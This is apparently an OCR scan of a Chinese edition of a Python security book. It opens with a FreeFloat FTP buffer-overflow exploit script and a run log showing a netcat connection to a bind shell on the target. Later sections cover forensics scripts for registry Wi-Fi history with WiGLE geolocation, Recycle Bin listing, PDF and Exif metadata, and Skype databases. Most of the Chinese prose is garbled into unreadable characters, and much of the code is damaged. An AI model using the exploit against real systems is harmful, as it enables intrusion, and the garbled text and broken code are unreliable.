IRBIERTERAFNEA | XGSEHERNE T XaHEE T EIP HFsant
VFEARIRE R EIZBEEIF TR JRY Shellcode {43,

s = socket.socket(socket.AF_INET, socket.SOCK STREAM)
try:

s.connect((target, 21))
except:

print "[-] Connection to "+target+" failed!"



sys.exit(0)
print("[*] Sending " + 'len(crash)’ + " " + command +" byte crash...")
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS \r\n")
s.recv(1024)
s.send("RETR" +" " + crash + "\r\n")

time.sleep(4)

BEEA exploit fi7
IBETERIIBESE—I , &8 Craig Freyman A7RHIEIAH exploit,




socket, sys, time, struct

(sys.argv) <

"[-]Usage:%s <target addr> <command>"%
sys.argv[0] + "

"[-]For example [filename.py 192.168.1.10 PWND]
would do the trick."

"[-]10ther options: AUTH, APPE, ALLO, ACCT"

sys.exit(0)

target = sys.argv[1]
command = sys.argv[Z]

(sys.argv) >

platform = sys.argv[2]

shellcode =

"







ret = struct.pack('<L'

padding =" "

crash =" " + ret + padding + shellcode

[*] Freefloat FTP 1.0 Any Non Implemented Command
Buffer Overflow

[*] Author: Craig Freyman (@cd1zz)

[*] Connecting to "+target




s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((target, 21))

("[-] Connection to "+target+" failed!")

sys.exit(0)

+ command +"

("[*] Sending " + 'len(crash)" +

byte crash...”)

s.send("USER anonymous\r\n")
s.recv( )

s.send("PASS ")

s.recv( )

s.send(command +" " + crash + " ")

time.sleep(4)

TEHHEH— FreeFloat FTP ZJ Windows XP SP2 8#& Windows XP

SP3 KB L2 /S , FATATLANL Craig Freyman Y exploit, & , ftBFERY
shellcode 248% 7 TCP w1 4444 B9KESSHIE TR, FrLARATRILUEITERAIRY
exploit FIAREE netcat iEREEIBIRENAY 4444 imE., SNER—IEBRINT |
MAEREN LR 7 BinEN I TR,

attacker$ python freefloat2-overflow.py 192.168.1.37 PWND

[*] Freefloat FTP 1.0 Any Non Implemented Command Buffer
Overflow

[*] Author: Craig Freyman (@cd1zz)

[*] Connecting to 192.168.1.37



[*] Sending 768 PWND byte crash...
attacker$ nc 192.168.1.37 4444

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop\>

*E:u—l:l

FRER | BRNOSENIFRAITUUERRNBCRENIE. BB
S8 w38 R , SA/THEE SSH |, FTP, SMB thMAEH S |
EaHAIIA Python 9% 7 #(1EH 289 0day exploit,

HARMRERLSTRNZEENLTFECHRSME. A THEHESKSE
Win , HWNELREZRT Python AT RAIEMATIR. WERKNE—IEFH
T Python fUHl% |, iLBAIAR— NEHRS BT ZEREBUERIMZA.

538 | EEAEEE
AEAS :

1.j&i3 Windows iR E(

2. EiiEE

3.9 & PDF #1 DOC X {4f97cEiiR
4.}\ Exif JTEHERHZEAY GPS 44
5.5%5% Skype 4513

6. A KAMAY SR RE A ¢ BT 2R 4543

7. BB RSN




RE , (MUTsicA. (FHEHS , HSHBmED , FXrYE
EiREHIERIEIRAY,

-—Ueshiba Morihei, Kaiso, Founder,
Aikido

B9 : AR BTK RS
BTK IR E NS RG2S,

ITENBBIEREEFNRAERNEHINTF TR, BEREEERESHSIEE
B, (BESETERSRRMBIINEE, HA Python, ERIJLERKNER , BRE
ZYRYaIRR R AR D BICASIERA T Python RARIESHISC ., IENRIISETEE
ThERR , BHAIEEERDEA Python RABMERASZMIERRA, 1LFAIFHRE—
LOIAERT Windows JERRZRRAIIRERERAFIE.

REMEBT ? ---EETMRPBIFEERIEAR

Windows ;EREE T — IMFEIRERRREIRENEREIEE. MELE
RIRIHIR , Windows ;EAERTFNE T SAZEREXRIER. THREMREERN
NEFRENX AT AN HRAFMANEICAZNIRUEIENE. M Windows

Vista Zf5 , iZMERFEE— N MNEEEE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\Curren
tVersion\NetworkList\Signatures\Unmanaged F#&T. M

Windows a7 |, FATTLAZIHB— WK R RiEAR GUID , MR |
RIZRZFRFORIK MAC Htbiit,

C:\Windows\system32>reg query
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\



Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged"

/s
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\NetworkList\Sign

atures\Unmanaged\010103000FO0000F0080000000F0000F04BCC23
60E4B8F7DC8BDAF

ABS8AE4DADS
62E3960B979A7AD52FA5F70188E103148

ProfileGuid REG_SZ {3B24CE70-AA79-4C9A-B9CC-
83F90C2C9COD}

Description REG_SZ Hooters_San_Pedro
Source REG_DWORD 0x8
DnsSuffix REG_SZ <none>

FirstNetwork REG_SZ Public_Library
DefaultGatewayMac REG_BINARY 00115024687F0000

&£ WinReg iZHY Windows iz

IEAAZRTFAERIMK MAC HtBE{E/9 REG_BINARY 2284, 7ERIEAYGIF+ , 16 i#
#1\x00\x11\x50\x24\x68\x7F\x00\x00 FK<HISLRRitELEYT 00:11:50:24:68:7F,
BRI IEE— I MUENIRECS REG_BINARY BYEAEHE9SERREY MAC ik, E/5
EENVEEERITEL MBI MAC HtitEE .

def val2addr(val):
addr =""
for ch in val:
addr += ("%02x "% ord(ch))
addr = addr.strip(" ").replace(" ",":")[0:17]

return addr



M1E , IEFRAIRIRE —PDEEM Windows ;AR EEFIRENE— I H AR
EAINZEZFRF MAC ttbiik, Joltk , FAiTERIF_winreg #&5R , Windows hiRHY
Python BUAZZAVRIR, EEEEMZRSS |, FATRTLAGER OpenKey ) BREFTFH
#, FHEMREGE TEMSEE, MTFEe— ML , 82 TEFE
ProfileGuid, Description, Source, DnsSuffix, FirstNetwork,

DefaultGatewayMac, RIZZZFRFOME MAC HEHHE FARZREFIZFHEIEE 9™
Fh., WERIMTTLUKES—NE | AEFE LEITEIHE.

IERTERIESHE—EE , WERIIE— MBI TEN RS EMER T RISCRIER
RIFTEMESRIER.

_winreg

val2addr(val):
addr=""
ch in val:
addr += ("%02x "% ord(ch))
addr = addr.strip(" ").replace(" ".,":")[0:
addr

printNets():
net = "SOFTWARE\Microsoft\Windows
NT\CurrentVersion\NetworkList\Signatures\Unmanaged"
key = winreg.OpenKey( winreg. HKEY LOCAL MACHINE
net)

'

[*] Networks You have Joined.'

(100):

guid = winreg. EnumKey(key, 1)
netKey = winreg.OpenKey(key, str(guid))
(n, addr, t) = winreg.EnumValue(netKey, 5)
(n, name, t) = winreg.EnumValue(netKey, 4)
macAddr = val2addr(addr)
netName = str(name)
'+] ' + netName + "' + macAddr
winreg.CloseKey(netKey)




main():
printNets()
__name ==" main_ ":
main()

"

EBAINBERECA LETHRAINEE |, BT LAER RS AT MES
NE MACHbit, ZEIARS |, MREREERNIRZTRIMA , BNIGTE
IEEGEMRREE.

C:\Users\investigator\Desktop\python discoverNetworks.py
[*] Networks You have Joined.

[+] Hooters_San_Pedro, 00:11:50:24:68:7F

[+] LAX Airport, 00:30:65:03:e8:c6

[+] Senate_public_wifi, 00:0b:85:23:23:3e

{1 Mechanize }§ MAC itiliHE3ZZ Wigle

M, WARSERER, WBERETEEARR MAC ol |, B IBEFALA
FIENH TR N RRWIEN S, ARIASHIEERE , SEFRIINEE , 8
BT AESEELENREMERXRNER. TR  NFMEEREXE
AUt EREUERET R B A GPS.

SkyHook #UERE , aJLATE http://www.skyhookwireless.com/#&l, 2HT—
ETF WIFI EARBEEF R TEB. Ian McCracken FF&RI— MR E 24
TR T XX EURERYIIAEESITE http://code.google.com/p/maclocate/[Y
G, PAM , B, SkyHook B(Z5 T SDK 25 API BB FBEURRE.,
Google tH4EFIX R RRIEWERE R T REX LI RAY MAC BRI IR S,
A, AR . AAJS . Gorjan Petrovski FFA& 7 —1 NMAP NSE BIZASH0



Google RIEHEERTTAZH, Google RXGFHRABIIMBAVEIREHRITRE. &
AZIE , BTFRRFARRR , Rt T 2B WIFI IRV EEIRERE.

I TAOEUEEANTTRINE WIGLE.net 44 A1 F @IS TR\ RV R 1R
NE. F—KSZE . BFEesEd—)\EY Python BIASHD wigle.net i#
TRE. EIREREENEEI—MIA S WIGLE.net X5,

{$F3 WIGLE. Net , FEPRIESEIRZEA 752 WIGLE iS5 =5 RITHE
HITRE., 8%, AP WIGLE.net A9¥IRCTIEE
https://wigle.net/TT ; SAFRFF 4 /EFEEI WIGLE 1£ https://wigle.net/THE.
BfE , BFRALAEIERERITZ SSID B9 MAC HBLEFE https://wigle.net/TTE.
PR MAC HBIEEIENESK |, BT AR RIERE KT A\ A9 GPS #BItAY HTTP
POST 153K tnetid(MZSHTRMRFT)E T MAC itlit,

POST /gps/gps/main/confirmquery/ HTTP/1.1
Accept-Encoding: identity

Content-Length: 33

Host: wigle.net

User-Agent: AppleWebKit/531.21.10

Connection: close

Content-Type: application/x-www-form-urlencoded
netid=0A%3A2C%3AEF%3A3D%3A25%3A1B
<..SNIPPED..>

A, FANNBEZINREMAIEIEREE T GPS 4R, FRFEH
maplat=47.25264359&maplon=-87.25624084 & 71\ AL BRI,

<tr class="search"><td>

<a
href="/gps/gps/Map/onlinemap2/?maplat=47.25264359&maplon



87.25624084&mapzoom=17&ssid=McDonald's FREE
Wifi&netid=0A:2C:EF:3D:

25:1B">Get Map</a></td>
<td>0A:2C:EF:3D:25:1B</td><td>McDonald's FREE Wifi</td><

BTIXEER , BIIPERSEE— MESR AR E WIGLE $iERE
FICRTEEARNNEEFISE., T2 , Z(EA mechanize &R, ATLIA
http://wwwsearch.sourceforge.net/mechanize/Wub3k{51Z1&E5R, mechanize 73
¥HEIT Python i#1T WEB AZSERIE | ZRUITF urllib2 #REAIINEE. IXFEIRE |
—BENERREMZE WIGLE iR . ERSFMEFIERRIRYIIE cookie,

import mechanize, urllib, re, urlparse

def wiglePrint(username, password, netid):
browser = mechanize.Browser()
browser.open(‘http://wigle.net')

reqData = urllib.urlencode({'credential_0': username,
'credential_1": password})

browser.open('https://wigle.net/gps/gps/main/login’, reqData)
params = {}
params['netid'] = netid
reqParams = urllib.urlencode(params)
respURL = 'http://wigle.net/gps/gps/main/confirmquery/'
resp = browser.open(respURL, reqParams).read()
maplLat = 'N/A’
maplLon = 'N/A'
rLat = re.findall(r'maplat=.*\&', resp)
if rLat:
mapLat = rLat[0].split('&')[0].split('=")[1]

rLon = re.findall(r'maplon=.*\&/, resp)



if rLon:
mapLon = rLon[0].split

print(‘'[-] Lat: ' + mapLat + ', Lon: ' + mapLon)

0 WIGLE MAC HtEUFEAITIRERIFAVESRAIMIAR. T JIERREDREEM
RPLARNERI N TTEEN R AR IR E.

optparse
mechanize
urllib

re
_winreg

val2addr(val):
addr=""
ch in val:
addr += ("%02x " % ord(ch))
addr = addr.strip(" ").replace(" ", ":")[0:17]
addr

wiglePrint(username, password, netid):
browser = mechanize.Browser()
browser.open('http://wigle.net')
reqData = urllib.urlencode({'credential 0': username

'credential 1': password})

browser.open('https://wigle.net/gps/gps/main/login', reqData)
params = {}
params['netid'] = netid
reqParams = urllib.urlencode(params)
respURL = 'http://wigle.net/gps/gps/main/confirmquery/
resp = browser.open(respURL, reqParams).read()
mapLat = 'N/A'
mapLon = 'N/A'
rLat = re.findall(r'maplat="*\&', resp)

rLat:




mapLat = rLat[0].split('&")[0].split("=")[ 1]
rLon = re.findall(r'maplon=.*\&', resp)
rLon:
mapLon = rLon[0].split
('[-] Lat: "+ mapLat + ', Lon: ' + mapLon)

printNets(username, password):
net = "SOFTWARE\Microsoft\Windows
NT\CurrentVersion\NetworkList\Signatures\Unmanaged"
key = winreg.OpenKey( winreg. HKEY LOCAL MACHINE
net)
"n[*] Networks You have Joined.'

(100):

guid = winreg. EnumKey(key, 1)
netKey = winreg.OpenKey(key, str(guid))
(n, addr, t) = winreg.EnumValue(netKey, 5)
(n, name, t) = winreg.EnumValue(netKey, 4)
macAddr = val2addr(addr)
netName = str(name)

('[+] "'+ netName + ' ' + macAddr)
wiglePrint(username, password, macAddr)
_winreg.CloseKey(netKey)

main():
parser = optparse.OptionParser('"usage%prog -u <wigle username
-p <wigle password>")
parser.add_option('-u' ='username’' ='string’
='specify wigle password')
parser.add_option('-p' ='password' ='string'
='specify wigle username')
(options, args) = parser.parse_args()
username = options.username
password = options.password
username == password ==
(parser.usage)

(0)




printNets(username, password)

' !

__name _==' main_ "
main()
BATHEAIBIFRIA |, BefiIATLAB R SeRiE T ATCE M SN IR &,
FETHEANER , LA E FT—oaE— N Es,

C:\Users\investigator\Desktop\python discoverNetworks.py
[*] Networks You have Joined.

[+] Hooters_San_Pedro, 00:11:50:24:68:7F

[-] Lat: 29.55995369, Lon: -98.48358154

[+] LAX Airport, 00:30:65:03:e8:c6

[-]1 Lat: 28.04605293, Lon: -82.60256195

[+] Senate_public_wifi, 00:0b:85:23:23:3e

[-] Lat: 44.95574570, Lon: -93.10277557

A Python R{xSEHusrhifliFRaR e

FERERANRER G |, BRI EA—MFARRNX G S T ELMIFREISS.
L AFEE Windows Explorer fiIBRSERT |, BAERFRIEXANEBEEIXA
FIRRIS R FRCIX UG EMIBR | (BRAARERLR LRIMEREN]. £
Windows 98 F1IFE BRIRATANE FAT 4R SFK., C:\Recycled\BRIF1EEMH
Wb BR. 3F NTFS BHER(ERSE Windows NT , 2000 , F1 XP fFi#EIMuATE
C:\Recycler\HZRT. Windows Vista 1 Windows 7 RFIFHETE
C:\$Recycle.Bin BH=xT.

{EF OS {EREHCHIFRRIIE



AT RN ATEKER S55ER Windows IBERSS | IEBR(1RE—NRECE
WidE— I aERYRIE E RARRIR S LFERNF— N ER.

import os
def returnDir():
dirs = ['C:\\Recycler\\', 'C:\\Recycled\\’, 'C:\\$Recycle.Bin\\']
for recycleDir in dirs:
if os.path.isdir(recycleDir):
return recycleDir

return None

ERIEEEERZ R | HIIFEREEENAT. EERITTFER , B8
BAFRE S5-1-5-21-1275210071-1715567821-725345543-F££ 115 1005 5,
# 500, IXAMFRFEBFAFRY SID , Stle8 ERRF R —HEXIEL.

C:\RECYCLER>dir /a
Volume in drive C has no label.
Volume Serial Number is 882A-6E93
Directory of C:\RECYCLER
04/12/2011 09:24 AM <DIR> .
04/12/2011 09:24 AM <DIR> ..
04/12/2011 09:56 AM
<DIR> S-1-5-21-1275210071-1715567821-
725345543-
1005
04/12/2011 09:20 AM <DIR> S-1-5-21-1275210071-1715567821-
725345543~
500



0 File(s) 0O bytes
4 Dir(s) 30,700,670,976 bytes free

F8 Python 1§FFRI SID XEXEER

{1118 (FE R Windows EfFRIE SID B A—INERNEFR. BEEE
Windows ;HZR5#{E HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\ProfileList\<SID>\ProfileImagePath , (I LAEZIEiR[E]
— 1 E2%SystemDrive%\Documents and Settings\<USERID>, = FEH ,
INBEX1FFA( 145 SID /3 S-1-5-21-1275210071-1715567821-725345543-
1005 AL R E alex”,

C:\RECYCLER>reg query
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\Curre
ntVersion\ProfileList\S-1-5-21-1275210071-1715567821-
725345543-1005" /v

ProfileImagePath
I REG.EXE VERSION 3.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\ProfileList \S-1-5-21-1275210071-1715567821

725345543-1005 ProfileImagePath
REG_EXPAND_SZ %0SystemDrive% \Documents and Settings\alex

BABRE R ML EERIRR T A3 . LIRS — M NIRECREE—1
SID B AAFE. XA RS RGP BRI B I B R JF TENEZ
BRNEE., XNREBF IR EMMERE ProfilelmagePath #(H , #BIEEFH
MR ZIEFA.

import _winreg
def sid2user(sid):

try:



key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE,
"SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\\"
+ sid)

(value, type) = _winreg.QueryValueEx(key, 'ProfileImagePath’)
user = value.split("\\")[-1]
return user

except:

return sid

&ia , BAVSRERNERE—REER— X , ETEERREEERIT
IEPRYIE.

0S
_winreg

returnDir():
dirs = ['C:\\Recycler\\', 'C:\\Recycled\\', 'C:\\$Recycle.Bin\\']
recycleDir in dirs:
os.path.isdir(recycleDir):
recycleDir

sid2user(sid):

key = winreg.OpenKey( winreg. HKEY LOCAL MACHINE
"SOFTWARE\Microsoft\Windows
NT\CurrentVersion\ProfileList\\" + sid)
(value, type) = winreg.QueryValueEx(key, 'ProfilelmagePath')
user = value.split("\\")[-1]
user

sid

findRecycled(recycleDir):



dirList = os.listdir(recycleDir)
sid in dirList:
files = os.listdir(recycleDir + sid)
user = sid2user(sid)
("n[*] Listing Files For User: ' + str(user))
file in files:

('[+] Found File: ' + str(file))

main():
recycledDir = returnDir()
findRecycled(recycledDir)

__name ==' main_ "
main()

EBEREE EEITRARMA | FNERRALIN TR
Administrator 1 alex, BT EBEAFENEFXE. T, K]
BERE— 0%, BT HEILE AT EE BRI 4RIRNERE.

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.
C:\>python dumpRecycleBin.py

[*] Listing Files For User: alex

[+] Found File: Notes_on_removing_MetaData.pdf
[+] Found File: ANONOPS_The_Press_Release.pdf
[*] Listing Files For User: Administrator

[+] Found File: 192.168.13.1-router-config.txt

[+] Found File: Room_Combinations.xls

C:\Documents and Settings\john\Desktop>

TOENRE



TEATH , HIMERE— AN UG HIREBUTEEE. AR IEMEII
BIxSSR |, TTEUER LI ET X | BTG Big , SSFIsRE S48,
BIVENI Rl RERTRIE — LT UISHRYES | CURBFIERATE) , BTERYIE
UAERE. flan | IIRFNAILRSAREAY GPS 7288 ek & fHERAY Word i
el LAFRRESUERIES. BB — 2 MREINES | FATRILAGER
Python Bzt IE,

Anonymous BI5TEERM

2010 £ 12 B 10 B , 2X=4R4R Anonymous &1 T —(07EETE | A TRIA—
X&) Operation Payback WIS RAIEIN. EANN AT RSIFEERE

MREIGERS , NTIRIBE R AT T MIVERIRSINE(DDOSHRE. BEAM
HNEBRIREEE  IR6KFE. 2 PDF X4 , BERRITREETEE. W
SIS AERE AR INERITTER R 2 /FERIR = Mr. Alex Tapanaris, JLKIR |,
LT IE T,

{s$5F PyPDF fi#tfr PDF Fo&iiiE
LEEA BRI IR — MR IR R R 2= 2B 4R Anonymous AYBL R FRIZAISRY
HITEREEEBGE, Wired.com iXREE

ANONOPS_The_Press_Release.pdf B34, FATTLAMEER wget FEIXD
DY =pas =

forensic:~# wget

http://www.wired.com/images_blogs/threatlevel/2010/12/ANON
OPS_The_

Press_Release.pdf
--2012-01-19 11:43:36--

http://www.wired.com/images_blogs/threatlevel/2010/12/ANON
OPS_The_

Press_Release.pdf

Resolving www.wired.com... 64.145.92.35, 64.145.92.34



Connecting to www.wired.com | 64.145.92.35 | :80... connected.
HTTP request sent, awaiting response... 200 OK

Length: 70214 (69K) [application/pdf]

Saving to: 'ANONOPS_The_Press_Release.pdf.1'

364K/s in 0.2s

2012-01-19 11:43:39 (364 KB/s) -
'ANONOPS_The_Press_Release.pdf' saved

[70214/70214]

PyPDF 2—/ MAFEHIE =75 ETE PDF SHRSEFRIEE , AT LAMRILL
http://pybrary.net/pyPdf/3%18., BiRMTIENEERIN , 28l , &5, 1%
MRFERIEE]. A TIRBUTEUE | FAIEEAEREL getDocumentlnfo(), X1N3
BREI—NTEHE | 5 TEEE I ITEIETENENE, BHXNE
LBFHFTED PDF SIS EBTTEUE.

import pyPdf
from pyPdf import PdfFileReader

def printMeta(fileName):
pdfFile = PdfFileReader(file(fileName, 'rb"))
docInfo = pdfFile.getDocumentInfo()
print(‘[ *] PDF MetaData For: ' + str(fileName))
for metaltem in doclInfo:

print('[+] ' + metaltem + ":' + docInfo[metaltem])



Il MNERDITERRBMSERI |, BAIE— T TEALURBIERAE!
PDF FRRITTEGRE. R, Bl T LME S @A IR AT A ERIoT R | HIan
FSERIAF. 3 , XBARERENEEREEERIIHFE R,

pyPdf

pyPdf PdfFileReader
optparse

printMeta(fileName):
pdfFile = PdfFileReader(file(fileName, 'rb'))
docInfo = pdfFile.getDocumentInfo()
('[*] PDF MetaData For: ' + str(fileName))
metaltem in docInfo:

('[*] ' + metaltem + ":' + docInfo[metaltem])
main():
parser = optparse.OptionParser(‘usage %prog -F <PDF file name>"
parser.add_option('-F' ='fileName' ='string’'
='specify PDF file name')
(options, args) = parser.parse_args()
fileName = options.fileName
fileName == :
(parser.usage)

(0)

printMeta(fileName)
__name ==' main_ "
main()

8% Anonymous & HRIEBEEIEITEAIBMA | BAITLABERIREEHITEE
SE5EE T Mr. Tapanaris,

forensic:~# python pdfRead.py -F
ANONOPS_The_Press_Release.pdf

[*] PDF MetaData For: ANONOPS_The_Press_Release.pdf

[+] /Author:Alex Tapanaris



[+] /Producer:OpenOffice.org 3.2
[+] /Creator:Writer
[+] /CreationDate:D:20101210031827+02'00'

IBf% Exif TTEUR

(Exif E—MEISIGE | BRISUEFES IPEG XN ExEHEREN. Lhrt
Exif #8VHE7E IPEG BULEMEA THRERANER | SEREEEE. #=
. BY¥E. 1SO. £iE. HENRESMIHREEMGURENRE. 8BS,
BXmE. RENREFINESUREIREMERES (GPS) . 4EIRES. Bt
% , Exif=JPEGHBERSE. ELL , {ReJLIFIFHIRTLAEE IPEG 3HHEE
NS Exif 48R A (BEH AR BNERERFERELIE Exif (FE. )

IRENG SIS EXIOMERIE X T iR E BG4 RIAE.  aNEES
1B, AN EREFAE X MR ERREEGFIMS 4, Exif fRESUY
BTV EERAERUEERMER. Phil Harvey E T — 1L ER
Y exiftool(M http://www.sno.phy.queensu.ca/~phil/exiftool/B]3k18 ) BEfEITIX
LWaH. WEMEH Exif S EseIREILRANER | FILAEIIRICES S H
ENSHEE. TR Exif SEE 181 B SFR iPhone 4S LUK E&RSCFRAY
GPS 2 E 4R, XEEREHREGEREREAY. tbalid , Mac OS X M
FEFF iPhoto EFIEEEREAUHIFIHRE FRIERE. A , XYERH
WRETEENER. Bx— T EE Exif BAEIEEZMuL E , BARTLL
TEHMENERAEMHZRXETLRNETEEER. £ TENEDSH , &
IR — I ASSRIER: WEB Wi |, FEEG , FHQER(IRY Exif JoEdE.

investigator$ exiftool photo.JPG

ExifTool Version Number : 8.76

File Name : photo.JPG

Directory : /home/investigator/photo.JPG
File Size : 1626 kB



File Modification Date/Time : 2012:02:01 08:25:37-07:00
File Permissions : rw-r--r--

File Type : JPEG

MIME Type : image/jpeg

Exif Byte Order : Big-endian (Motorola, MM)
Make

: Apple

Camera Model Name : iPhone 4S
Orientation : Rotate 90 CW

<..SNIPPED..>

GPS Altitude : 10 m Above Sea Level

GPS Latitude : 89 deg 59' 59.97" N

GPS Longitude : 36 deg 26' 58.57" W
<..SNIPPED..>

(& BeautifulSoup TE(E

BJLAM www.crummy.com/software/BeautifulSoup/3£18 BeautifulSoup,
BeautifulSoup 8iFEAIJIRIEAVERMT HTML 1 XML 3284, S BeautifulSoup Z|
EaThiAs , FH{EH easy_install 3kEXZZE BeautifulSoup %,

investigator:~# easy_install beautifulsoup4

Searching for beautifulsoup4

Reading http://pypi.python.org/simple/beautifulsoup4/
<..SNIPPED..>

Installed /usr/local/lib/python2.6/dist-packages/beautifulsoup4-
4.1.0-

pPy2.6.egg

Processing dependencies for beautifulsoup4



Finished processing dependencies for beautifulsoup4

FEARTH |, Bl 1E{EA BeautifulSoup SEAMEY HTML SIS SSRESAES AT
BREG. FE , FAER urllib2 FIFASEFEEE. BETREIITLAGIE
BeautifulSoup X&EE — ML EAE HTML STEXTSRAVARIT, FIXFFRIXIS: |
BRATTLURE AT BRE GRS |, BidEMA findall(img )L , IXMEREUREI—
ME BT BIGIRERIEIA.,

import urllib2

from bs4 import BeautifulSoup

def findImages(url):
print(‘'[+] Finding images on ' + url)
uriContent = urllib2.urlopen(url).read()
soup = BeautifulSoup(uriContent)
imgTags = soup.findAll('img")

return imgTags

BT, HNFEANUEPTEE—TER | ARERRAIRETHTRE

AT TEEE Bl 15AZ urllib2 |, urlparse #] os 1R, Bt , ?JZMME{%T\
SPREURTLE , FEEREREGN ZHERTE—RE | &RHILUS-
THHERRIF B EGRREE AU

import urllib2
from urlparse import urlsplit

from os.path import basename

def downloadImage(imgTag):
try:



print(‘'[+] Dowloading image...")
imgSrc = imgTag['src']
imgContent = urllib2.urlopen(imgSrc).read()
imgFileName = basename(urlsplit(imgSrc)[2])
imgFile = open(imgFileName, 'wb')
imgFile.write(imgContent)
imgFile.close()
return imgFileName

except:

return "

{£F Python RYEIREEMEURIIE Exif joEiiE

AT HBGRNABEER Exif TTHUE | F(1E(ER Python BI&E PIL SRR
4, aTLAM http://www.pythonware.com/products/pil/3%48 , LAIEHN Python B9
EGAIEREN |, FAFERIRRRRI SR EEXAITTEEER. AT
IS TTEERE | B BFTFRINSRIES PIL EUEXISRFHERREY getexif(). =
TRERAIMRAT Exif SUREI—NE | BIdTEdESEEY RS (. BTG | B
LIS RHEEEECEEESE GPSInfo Y Exif 221, MEREE S GPSInfo &
2, BITMANENSE S GPS STEUEHIENEREIRE L.

from PIL import Image
from PIL.ExifTags import TAGS

def testForExif(imgFileName):
try:
exifData = {}
imgFile = Image.open(imgFileName)
info = imgFile._getexif()

if info:



for (tag, value) in info.items():
decoded = TAGS.get(tag, tag)
exifData[decoded] = value
exifGPS = exifData['GPSInfo']
if exifGPS:
print('[*] ' + imgFileName + ' contains GPS MetaData')
except:

Pass

BRENEEE—IE , IR AIETLOEEE— URL it |, SR T~
FRrEIBEGSUE | AR BN SR Exif JToadE. TR main()RE |, 40D
B7CRBGR _ ERRTBEGIITIER | REXEERRITG—MNEGR | FIE T
BGFHUX TR GPS JTEE.

urllib2

optparse
bs4 BeautifulSoup
urlparse urlsplit
os.path basename
PIL Image
PIL.ExifTags TAGS

findImages(url):

('[+] Finding images on ' + url)
urlContent = urllib2.urlopen(url).read()
soup = BeautifulSoup(urlContent)
imgTags = soup.findAll('img'")

imgTags

downloadImage(imgTag):

('[*] Dowloading image...")
1mgSrc = imgTag|['src']




imgContent = urllib2.urlopen(imgSrc).read()
imgFileName = basename(urlsplit(imgSrc)[2])
imgFile = (imgFileName, 'wb')
imgFile.write(imgContent)
imgFile.close()

imgFileName

"

testForExif(imgFileName):

exifData = {}
imgFile = Image.open(imgFileName)
info = imgFile. getexif()
info:
(tag, value) in info.items():
decoded = TAGS.get(tag, tag)
exifData[decoded] = value
ex1fGPS = exifData['GPSInfo']
exifGPS:
('[*] '+ imgFileName + ' contains GPS MetaData')

main():
parser = optparse.OptionParser('usage%prog -u <target url>")
parser.add option('-u' ="url' ='string’ ='specify url

address')

(options, args) = parser.parse _args()
url = options.url

url ==

(parser.usage)

(©)

imgTags = findlmages(url)
imgTag in imgTags:
imgFileName = downloadImage(imgTag)
testForExif(imgFileName)
__name ==' main_ "
main()




xJ Bt BN RINIERAIRIA | BT LUBRIRF— 1 EGE S GPS iR
EE. XMERTHNABTIEBINE |, BB LR RAIASSKAATA]
HChIRR  EREREHE.

forensics: # python exifFetch.py -u

http:/ /www.flickr.com/photos/dvids/4999001925/sizes/o
[+] Finding images on
http://www.flickr.com/photos/dvids/4999001925/sizes/o
[+] Dowloading image...

[+] Dowloading image...

[+] Dowloading image...

[*] 4999001925 _ab6da92710_o.jpg contains GPS MetaData
[+] Dowloading image...

[+] Dowloading image...

[+] Dowloading image...

A Python BAERBEFE

X—HEA VSN FBERZE |, BIF N THIN FIRE R AAE7E SQLite UERE
FRRYEHE. SQLite HIRERE/ LA RN AEFPERM THIEE , X T
local/client 7B Kiq, TCEHE WEB NIZGss , HASREESAMEXRITE.
SHEAERIMA client/server XREWERE , SQLite BURFEFEENEUREEEN
EEREBEAIS, &4 Dr. Richard Hipp fEEBZET{FITEISZ , SQLite #§
EEEEITZ A TN eIV ERATRIIEI. %% Apple , Mozilla ,

Google , McAfee , MicrosoftMircso , Intuit , 1BFIEES, , DropBox ,

AdobeAdro &2 Airbus F/A TR EN FBFERH {5 SQLite FUERFAE.

T HRAMETEMT SQLite ZUEEEH L RREEERUEF A Python BaitERAFR



BRI, TS | FIISFBRTIESHIXEFim Skype KEE
SQLite #fERF.

THE Skype SQLite3 £iERE

Y73 4.0 lRA |, iR THIBIR TR Skype B2 T BN EREUEREST | (£F
SQLite #&z(. £ Windows &%+ , Skype Zfif 7 AI—1N= 04 main.db RYZHERE
FE#%4Z C:\Documents and Settings\<User>\ApplicationData\Skype\<Skype-

account>ERT , £ MAC 0S X &% , tHRINISURERERIE
/Users/<User>/Library/Application\ Support/Skype/<Skype-account>HZFET,
{872 Skype 7 T+ AEIZEUEREF ? I 7 EFAN T #% Skype SQLite #UERES
BRED | 1L sqlite3 ap ST TERRANEEZIEURERE. E&E | &)
TR -

SELECT tbl_name FROM sqlite_master WHERE type==" table" ;

SQLite HUEREAEIR 7T —1NREZ /9 sqlite _master , XNKREBETHEA
tbl_name , FsRIMIASUEREHRIE— MR, HTIXE SELECT IBEORTFRAIIE
%& Skype B9 main.db ZUBEEFIIR. FITTLEE  ZEBUEERFNREEH
&, WP, EEEZER SMS HENER.

investigator$ sqlite3 main.db

SQLite version 3.7.9 2011-11-01 00:52:41
Enter ".help" for instructions

Enter SQL statements terminated with a ";"

sqlite> SELECT tbl_name FROM sqlite_master WHERE
type=="table";

DbMeta
Contacts
LegacyMessages
Calls

Accounts



Transfers
Voicemails
Chats
Messages
ContactGroups
Videos

SMSes
CallMembers
ChatMembers
Alerts
Conversations

Participants

MKFZ=fERA Skype NFBEFIKFRYER. EESRBIBRERFNEF

Skype BIBINTEIR , BFRINE , IKFRIBIEZBEIFER. ATEEIXEER
FATTLACE— SQLIERXES!, (T, $UREFMEE UNIX BfE R HA
BN NERIFAUSIN. UNIX BSEBERR M T — Ma RS ERES . ©
